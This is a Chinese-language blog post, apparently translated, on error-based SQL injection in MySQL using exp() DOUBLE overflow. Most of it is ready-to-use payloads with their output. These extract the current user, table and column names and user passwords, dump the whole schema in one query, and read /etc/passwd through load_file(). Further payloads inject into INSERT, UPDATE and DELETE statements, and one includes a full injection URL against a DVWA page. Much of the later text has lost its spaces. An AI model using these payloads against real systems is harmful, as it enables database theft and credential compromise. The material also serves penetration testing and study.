0x01 前言概述
好消息好消息好消息~作者又在MySQL中发现了一个Double模型数据溢出。如果您想知道如何使用溢出来注射数据,您可以阅读作者之前的博客文章:BIGINT Overflow Error based injections,drops这里还有相应的翻译。当我们得到它时。MySQL在函数中,作者对数学函数更感兴趣,它们还应该包含一些数据类型来保存值。所以作者跑去测试哪些函数会溢出错误。然后作者发现,当传输一个超过709的值时,函数exp()会导致溢出错误。

mysql> select exp(709);
-----------------------
| exp(709) |
-----------------------
| 8.218407461554972e307 |
-----------------------
1 row in set (0.00 sec)
mysql> select exp(710);
ERROR 1690 (22003)DOUBLE value is out of range in 'exp(710)'
在MySQL中,exp与ln和log相反,简单介绍一下功能,就是log和ln都返回以e对数为底数,见等式:


mysql> select log(15);
------------------
| log(15) |
------------------
| 2.70805020110221 |
------------------
1 row in set (0.00 sec)
mysql> select ln(15);
------------------
| ln(15) |
------------------
| 2.70805020110221 |
------------------
1 row in set (0.00 sec)
指数函数是对数函数的反函数,exp()即为以e等式:

mysql> select exp(2.70805020110221);
-----------------------
| exp(2.70805020110221) |
-----------------------
| 15 |
-----------------------
1 row in set (0.00 sec)
0x02 注入
当涉及注入时,我们使用否定查询来引起它“DOUBLE value is out of range”错误。作者之前的博客文章提到,如果0按位取反,将返回“18446744073709551615”,此外,由于函数成功执行后返回0,我们将取反成功执行的函数***的无符号BIGINT值。
mysql> select ~0;
----------------------
| ~0 |
----------------------
| 18446744073709551615 |
----------------------
1 row in set (0.00 sec)
mysql> select ~(select version());
----------------------
| ~(select version()) |
----------------------
| 18446744073709551610 |
----------------------
1 row in set,1 warning (0.00 sec)
我们通过子查询位求反,我们造成了一个DOUBLE overflow error,并注出数据。
>`exp(~(select*from(selectuser())x))` mysql>selectexp(~(select*from(selectuser())x)); ERROR1690(22003):DOUBLEvalueisoutofrangein'exp(~((select'root@localhost'fromdual)))'0x03 注出数据
得到表名:
selectexp(~(select*from(selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1)x));得到列名:
selectexp(~(select*from(selectcolumn_namefrominformation_schema.columnswheretable_name='users'limit0,1)x));检索数据:
selectexp(~(select*from(selectconcat_ws(':',id,username,password)fromuserslimit0,1)x));0x04 一蹴而就
本查询可从当前上下文中查询dump出所有的tables与columns。我们也可以dump所有的数据库都出来了,但是因为我们提取了一个错误,它会回到很少的结果。
exp(~(select*from(select(concat(@:=0,(selectcount(*)from`information_schema`.columnswheretable_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)) http://localhost/dvwa/vulnerabilities/sqli/?id=1'orexp(~(select*from(select(concat(@:=0,(selectcount(*)from`information_schema`.columnswheretable_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))
0x05 读取文件
你可以通过load_file()函数读取文件,但作者发现有13行限制,句子也可以在BIGINT overflow injections中使用。
selectexp(~(select*from(selectload_file('/etc/passwd'))a)); 
注意,你无法写文件,因为这个错入写入的只是0。
mysql>selectexp(~(select*from(select'hello')a))intooutfile'C:/out.txt'; ERROR1690(22003):DOUBLEvalueisoutofrangein'exp(~((select'hello'fromdual)))' #typeC:\out.txt 00x06 Injection in Insert
一步一步就好
mysql>insertintousers(id,username,password)values(2,''^exp(~(select*from(selectuser())x)),'Eyre'); ERROR1690(22003):DOUBLEvalueisoutofrangein'exp(~((select'root@localhost'fromdual)))'对于所有的insert,update和delete语句DIOS也可以使用查询。
mysql>insertintousers(id,username,password)values(2,''|exp(~(select*from(select(concat(@:=0,(selectcount(*)from`information_schema`.columnswheretable_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)),'Eyre'); ERROR1690(22003):DOUBLEvalueisoutofrangein'exp(~((select'000 newdb::users::id newdb::users::username newdb::users::password'fromdual)))'0x07 Injection in Update
mysql>updateuserssetpassword='Peter'^exp(~(select*from(selectuser())x))whereid=4; ERROR1690(22003):DOUBLEvalueisoutofrangein'exp(~((select'root@localhost'fromdual)))'0x08 Injection in Delete
mysql>deletefromuserswhereid='1'|exp(~(select*from(selectuser())x)); ERROR1690(22003):DOUBLEvalueisoutofrangein'exp(~((select'root@localhost'fromdual)))'和前面的BIGINT注入一样,exp也适用于注入MySQL5.5.5以上版本。在这种情况下,以前的版本是“一言不发”。
mysql>selectversion(); |version()| |5.0.45-community-nt| 1rowinset(0.00sec) mysql>selectexp(710); |exp(710)| |1.#INF| 1rowinset(0.00sec) mysql>selectexp(~0); |exp(~0)| |1.#INF| 1rowinset(0.00sec)也许还有其他函数会产生这样的错误。(需要你发现:)